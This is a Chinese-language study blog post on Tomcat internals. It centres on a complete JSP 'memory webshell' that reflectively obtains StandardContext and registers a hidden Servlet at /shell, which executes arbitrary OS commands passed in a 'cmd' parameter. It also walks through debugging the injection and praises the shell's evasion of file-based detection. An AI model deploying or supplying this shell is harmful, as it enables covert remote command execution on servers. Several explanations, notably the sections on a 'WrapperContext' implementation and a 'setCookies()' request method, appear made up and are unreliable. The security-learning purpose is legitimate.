emmm.....本篇寫的還不是很完善,學著後邊的忘著後邊的,後續邊學邊完善吧........
概述
如果你不瞭解IDEA除錯Tomcat
和Tomcat各元件概念
可以參考我的部落格:JAVA WEB環境搭建 和 Tomcat各元件解析
由前邊我們學習Tomcat知道了Container中的Context
概念,Context
負責管理一個 Web 應用程式的生命週期和配置。Context
作為 Tomcat 中 Host
容器的一部分,通常會有不同的實現類,每個實現類有不同的特性和用途。來看一下常見的 Context
以及相關的元件:
StandardContext
這是最常用的 Context
實現。它通常用於開發和生產環境,適用於大多數 Web 應用。
StandardContext
是 Tomcat 中最常用的 Context
實現,主要用於管理 Web 應用程式的生命週期。它作為一個容器,負責載入和管理 Web 應用的所有資源,包括 Servlet
、JSP 頁面、靜態檔案等。在一個典型的 Web 應用中,StandardContext
是與應用相關的核心元件,它確保 Web 應用在啟動時被正確初始化,在執行時能夠處理請求,在停止時被銷燬。
具體來說,StandardContext
主要負責從 Web 應用的 web.xml
配置檔案或註解中讀取 Servlet
配置,並在應用啟動時載入這些 Servlet
。當請求到達時,StandardContext
會根據請求的 URL 查詢匹配的 Servlet
,然後將請求傳遞給該 Servlet
來處理。它還負責 Servlet
例項的生命週期管理,包括 Servlet
的初始化、銷燬等操作。除此之外,StandardContext
還支援配置 Servlet
的初始化引數、對映路徑以及錯誤頁面等。
WrapperContext
WrapperContext
是 Tomcat 中一個較為特殊的 Context
實現,通常用於早期版本的 Tomcat,並且它的使用相對較少。它主要用於處理與 Servlet
相關的配置和生命週期管理,尤其是在 Web 應用程式中多個 Servlet
例項共享一個容器時。WrapperContext
實際上並不作為 Tomcat 中標準的 Web 應用容器,而更多地作為一種歷史遺留實現,特定版本中用於提供對 Servlet
的管理支援。
WrapperContext
的核心功能是管理和封裝 Servlet
的生命週期,包括 Servlet
的初始化、服務處理以及銷燬。它透過將 Servlet
與 Wrapper
進行關聯,提供了對 Servlet
例項的集中管理。在這個容器中,Wrapper
負責配置每個 Servlet
,並且 WrapperContext
作為容器為這些 Servlet
提供執行環境。
此外,WrapperContext
在處理請求時,充當了請求和 Servlet
之間的中介。透過對 Wrapper
的配置,WrapperContext
確保特定的請求能夠被分發到正確的 Servlet
進行處理。然而,隨著 Tomcat 版本的更新和架構的演進,WrapperContext
的作用逐漸被其他更加靈活和可擴充套件的容器所替代,如 StandardContext
,因此在現代的 Tomcat 環境中,它並不常用,更多的是作為對舊版本的支援。
Wrapper
Wrapper
是一個封裝了 Servlet
的元件。Wrapper
並不直接處理請求或定義 Servlet
的邏輯,它主要負責配置和管理與 Servlet
相關的操作,比如 Servlet
的初始化、銷燬和配置引數。簡單來說,Wrapper
是對一個 Servlet
的“封裝”,它與 Servlet
例項緊密關聯,但更多地作為容器內管理的角色,處理 Servlet
的生命週期和對映。
而 WrapperContext
並不是一個廣泛使用的標準元件,而是特定版本中用於處理 Wrapper
的 Context
。WrapperContext
實際上是用於管理和儲存多個 Wrapper
(即多個 Servlet
)例項的容器。它的主要作用是集中管理與 Servlet
例項相關的配置、生命週期等。當 Tomcat 啟動 Web 應用時,WrapperContext
會將各個 Wrapper
載入並管理,而每個 Wrapper
則對應一個具體的 Servlet
。
JSP Servlet記憶體馬
至於Servlet的概念就不分析了,可以參考我的Tomcat元件概念這篇部落格,下邊這段程式碼是在IDEA中建立的基礎模板上的index.jsp做的修改,參考我的帖子:IDEA配置JAVA WEB環境。
然後我們分析一下這段程式碼
重點關注一下往context中寫入Servlet的過程即可,Servlet本身沒什麼好說的
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="javax.servlet.Servlet" %>
<%@ page import="javax.servlet.ServletConfig" %>
<%@ page import="javax.servlet.ServletException" %>
<%@ page import="javax.servlet.ServletRequest" %>
<%@ page import="javax.servlet.ServletResponse" %>
<%!
// 定義一個簡單的 Servlet 用於執行系統命令,Servlet沒什麼可說的,和正常的介面沒什麼區別,主要是看一下如何動態獲取context,並且往context裡邊寫入Servlet的
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
// 初始化邏輯(可為空)
}
@Override
public ServletConfig getServletConfig() {
return null; // 不需要配置
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
// 獲取傳入的命令引數
String cmd = servletRequest.getParameter("cmd");
if (cmd == null || cmd.trim().isEmpty()) {
servletResponse.getWriter().println("No command specified.");
return;
}
// 判斷windows型別並呼叫cmd指令
boolean isLinux = !System.getProperty("os.name").toLowerCase().contains("win");
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
String output = executeCommand(cmds);
servletResponse.setContentType("text/plain");
servletResponse.getWriter().println(output);
}
private String executeCommand(String[] cmds) {
StringBuilder output = new StringBuilder();
try (InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner scanner = new Scanner(in).useDelimiter("\\a")) {
if (scanner.hasNext()) {
output.append(scanner.next());
}
} catch (IOException e) {
output.append("Error executing command: ").append(e.getMessage());
}
return output.toString();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
// 銷燬邏輯(可為空)
}
};
%>
<%
// 使用反射獲取 StandardContext 上下文
// 在 JSP 中,request 是一個隱式物件,它是由 Servlet 容器(如 Tomcat)自動提供給每個請求的。request 物件是 HttpServletRequest 型別的例項,包含了與 HTTP 請求相關的資訊,比如請求引數、請求頭、請求方法等。你可以直接在 JSP 中使用它來獲取這些資訊。
// HttpServletRequest繼承了ServletRequest,所以可以取到ServletRequest.request這個欄位
Field reqField = request.getClass().getDeclaredField("request");
reqField.setAccessible(true);
// Request是一個繼承了HttpServletRequest的物件,所以可以透過這種方式來拿到Request物件
Request req = (Request) reqField.get(request);
// Request提供了getContext的方法,所以這裡可以取到context
StandardContext stdContext = (StandardContext) req.getContext();
String servletName = servlet.getClass().getSimpleName() + "_" + System.currentTimeMillis();
// 建立並配置新的 Wrapper
Wrapper newWrapper = stdContext.createWrapper();
newWrapper.setName(servletName);
// 設定為重啟時載入
// loadOnStartup預設值為-1,表示Servlet命中時載入
// loadOnStartUp!=-1時,表示載入的優先順序
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
// 將 Servlet 新增到上下文也就是context中,這樣我們就能夠訪問到這個Servlet了
stdContext.addChild(newWrapper);
stdContext.addServletMappingDecoded("/shell", servletName);
%>
<!DOCTYPE html>
<html>
<head>
<title>JSP - Hello World</title>
</head>
<body>
<h1><%= "Hello World!" %></h1>
<br/>
<a href="hello-servlet">Hello Servlet</a>
</body>
</html>
ServletRequest
(原生 Request)
ServletRequest
是 Java Servlet API 中定義的介面,它代表了客戶端請求的基本資訊。這個介面提供了一些通用的、與協議無關的方法,允許 Servlet 處理不同型別的請求。它是所有請求物件的父介面,無論是在 HTTP 請求、WebSocket 請求還是其他協議下,都會繼承這個介面。
主要功能:
- 獲取請求引數:
getParameter()
、getParameterMap()
等方法 - 獲取請求頭:
getHeader()
、getHeaders()
等方法 - 獲取輸入流:
getInputStream()
,獲取請求體的原始內容(如 POST 資料)
作用: ServletRequest
介面定義了與客戶端請求的互動方式,但它並不處理特定協議的細節。例如,它不關心 HTTP 的請求頭、Cookie 或方法(如 GET、POST 等)。
Tomcat 實現: 在 Tomcat 中,ServletRequest
通常由 Tomcat 的底層元件建立,處理和傳遞,它在請求的初期階段將原始的請求資料(包括輸入流、引數等)交給 Servlet 來處理。這個物件通常是最“原始”的請求物件,只包含協議無關的基本資訊。
HttpServletRequest
(HTTP 協議 Request)
HttpServletRequest
是 ServletRequest
的子介面,專門用於處理 HTTP 協議相關的請求資訊。它不僅繼承了 ServletRequest
的方法,還擴充套件了許多 HTTP 協議特有的功能,例如處理 HTTP 方法、請求頭、Cookies、會話等。
主要功能:
- 獲取 HTTP 請求的引數:
getParameter()
、getParameterMap()
等方法 - 獲取 HTTP 請求頭:
getHeader()
、getHeaders()
等方法 - 獲取請求的 HTTP 方法(如 GET、POST):
getMethod()
- 獲取請求的路徑、URL:
getRequestURI()
、getRequestURL()
等方法 - 獲取和設定 Cookies:
getCookies()
、setCookies()
等方法 - 獲取 Session 資訊:
getSession()
、getSession(false)
等方法
作用: HttpServletRequest
負責處理 HTTP 協議特有的內容。在 Tomcat 或其他 Servlet 容器中,HttpServletRequest
是用於處理 HTTP 請求的核心介面,它提供了比 ServletRequest
更豐富的功能,允許開發者訪問和操作 HTTP 請求的各種細節,如請求方法、URL、引數、頭部等。
Tomcat 實現: 在 Tomcat 中,HttpServletRequest
實際上是由 RequestFacade
類實現的。RequestFacade
類將 ServletRequest
介面提供的通用功能與 HTTP 協議特定的功能結合在一起。這個物件不僅封裝了請求的基本資料,還新增了許多 HTTP 相關的資訊和方法。RequestFacade
將透過底層的 Request
物件提供給開發者。
Request
(Tomcat 封裝物件)
Request
是 Tomcat 內部實現的一個類,它繼承了 HttpServletRequest
,並進一步封裝了 HTTP 請求的細節。它是 Tomcat 容器內部的一個重要物件,主要負責與 Tomcat 內部的容器機制(如 StandardContext
、Wrapper
等)進行互動。
主要功能:
- 它封裝了
HttpServletRequest
,並且增加了與 Tomcat 容器相關的功能。 Request
物件不僅包含 HTTP 請求的資訊,還包含了與容器相關的上下文資訊,如 Web 應用的StandardContext
。Request
物件還可以處理請求的生命週期、請求分發、請求的初始化等與容器有關的操作。
作用: 在 Tomcat 中,Request
物件是 HTTP 請求的核心封裝,除了提供標準的 HTTP 請求方法,還承擔了許多與容器相關的任務,比如管理請求的生命週期、執行請求轉發等。Tomcat 中的 Servlet 容器元件會將 Request
物件傳遞給相應的 Servlet
進行處理。
Tomcat 實現: Tomcat 中的 Request
類是一個非常核心的類,負責將 HTTP 請求與 Web 應用的上下文(如 StandardContext
)以及其他容器功能結合起來。透過 Request
物件,Tomcat 不僅能夠向 Servlet 提供 HTTP 請求的資訊,還能將請求與 Tomcat 的容器機制(如 Servlet 對映、上下文管理等)結合起來。
三個 request
物件之間的關係
ServletRequest
是最原始的介面,定義了與請求相關的基本操作,但它不關心協議型別(如 HTTP 或其他)。它是所有請求類的父類。HttpServletRequest
繼承自ServletRequest
,並專門用於處理 HTTP 協議的請求,提供了處理 HTTP 請求的擴充套件方法,比如請求方法、URL、Session、請求頭等。Request
是 Tomcat 特有的實現類,繼承了HttpServletRequest
,不僅包含 HTTP 請求的資訊,還增加了與 Tomcat 容器相關的功能和上下文資訊。Request
物件是在 Tomcat 內部用於處理 HTTP 請求的核心物件。
它們之間的繼承關係:
ServletRequest
↑
HttpServletRequest
↑
Request (Tomcat 的內部實現)
Debug Tomcat
讓我們來除錯一下這段惡意程式碼,看看他是怎麼載入進Context中的,在index.jsp中的這幾個地方打上斷點:
- String cmd = servletRequest.getParameter("cmd");
- Field reqField = request.getClass().getDeclaredField("request");
這裡注意到一個很有意思的地方,就是IDEA的debug watch框中,顯示this物件是一個index_jsp@3635,這看起來就像是一個Java物件,雖然知道這些程式碼肯定要編譯成Java程式碼,但是這裡直接看到是一個Java物件還是覺得很好玩.....hhhhh,真有意思,後邊再研究一下看是什麼原理吧,繼續debug。
斷點會先命中我們設定context上下文的一段程式碼,中間會有建立Wrapper以及設定對應屬性的過程,最終會呼叫StandardContext中的addChild方法,我們在org.apache.catalina.core.StandardContext.addChild()方法中打一個斷點。
最終會呼叫super.addChild方法,也就是ContainerBase這個類,我們進去看一下,最終會被放到children中,再往後就是解鎖、觸發事件這些事兒了,就不用關心了。
最後新增完Servlet之後,程式碼會跳轉到index.jsp中,執行context.addServletMappingDecoded,給servlet新增一個對映路徑。其實就是告訴context路徑和servlet的對應關係,當HTTP請求一個路徑時,context就能找到對應的servlet。
然後透過瀏覽器訪問記憶體馬路徑,然後拼接引數cmd=calc(經典彈計算器了),然後回車
計算器被彈出。但是index.jsp的service方法並沒有並命中,其實在服務啟動的時候service就已經被命中了,而後續Tomcat直接使用Servlet內容的時候並不會命中jsp中的內容了,因為Servlet已經被載入到記憶體中,這就是記憶體馬的強大之處。
普通shell以檔案方式存在,做惡意檔案識別相對來說是簡單的,但是惡意程式碼被載入到記憶體中之後,想要查殺是非常困難的。
為什麼無法除錯到 service
方法?
- 記憶體中的
Servlet
:- 這段程式碼的關鍵在於 Servlet 物件並不是透過檔案系統載入的,而是透過動態程式碼注入到 Tomcat 的記憶體中。Tomcat 在啟動時會根據
web.xml
或其他配置載入和初始化 Web 應用中的Servlet
,但是這裡的Servlet
是透過StandardContext
動態建立並新增的,而不是從一個物理檔案載入的。因此,它的類載入過程和傳統的 Servlet 類載入不同。
- 這段程式碼的關鍵在於 Servlet 物件並不是透過檔案系統載入的,而是透過動態程式碼注入到 Tomcat 的記憶體中。Tomcat 在啟動時會根據
- JVM 類載入機制:
- 在 Tomcat 啟動過程中,Web 應用的 Servlet 是透過類載入器從磁碟載入並對映到 Web 應用的上下文中。而當透過動態建立
Servlet
物件並將其注入到StandardContext
中時,Tomcat 會在記憶體中執行這個 Servlet。對於 JVM 來說,它並沒有透過檔案系統來載入這個Servlet
,因此傳統的除錯方法(例如在.jsp
或.java
檔案中的斷點除錯)可能無法捕捉到這個 Servlet 的行為。
- 在 Tomcat 啟動過程中,Web 應用的 Servlet 是透過類載入器從磁碟載入並對映到 Web 應用的上下文中。而當透過動態建立
這就是 記憶體馬 的強大之處,它能夠直接在 JVM 記憶體中執行,不依賴於檔案系統中的物理檔案。因此,記憶體馬的攻擊方式相較於 WebShell 等基於檔案的攻擊有更高的隱蔽性,尤其是在除錯和安全監控方面,難以直接透過檔案掃描或常規的除錯方法發現。
- 隱蔽性:記憶體馬不需要透過檔案系統儲存惡意程式碼,因此它可以繞過常規的檔案掃描和檔案系統監控工具。
- 永續性:雖然記憶體馬在伺服器重啟後可能會消失,但它可以在攻擊者控制下實現自我複製或持久化,或者透過某些漏洞實現重啟後重新載入。
補充
補充1
Servlet 記憶體馬 並不是 "純粹" 的記憶體馬,它並沒有完全達到記憶體馬的無檔案落地的特點。確實,記憶體馬的原始意圖是透過僅在記憶體中執行,避免檔案系統的存在或痕跡,但透過 JSP 檔案或其他形式的惡意檔案載入和觸發,Servlet 記憶體馬仍然需要依賴於初始的檔案落地和 Tomcat 重新載入。這使得它與傳統的記憶體馬(完全在記憶體中執行,不依賴於檔案)有所不同。
補充2
上述篇幅裡只debug了記憶體馬的載入過程,其實Tomcat在初始化的時候會有很多Servlet被載入進來,有興趣的話可以debug一下,下邊的這個呼叫過程,這個過程其實就是記憶體馬的原理,估計當時發現servlet記憶體馬的人就是這麼debug出來的:
ContextConfig.configureContext()
↓
Wrapper wrapper = this.context.createWrapper();
wrapper.setLoadOnStartup(servlet.getLoadOnStartup());
wrapper.setEnabled(servlet.getEnabled());
wrapper.setName(servlet.getServletName());
......
wrapper.setOverridable(servlet.isOverridable());
this.context.addChild(wrapper);
↓
StandardContext.addChild(Container child)
↓
ContainerBase.addChild(Container child)
↓
ContainerBase.addChildInternal(Container child)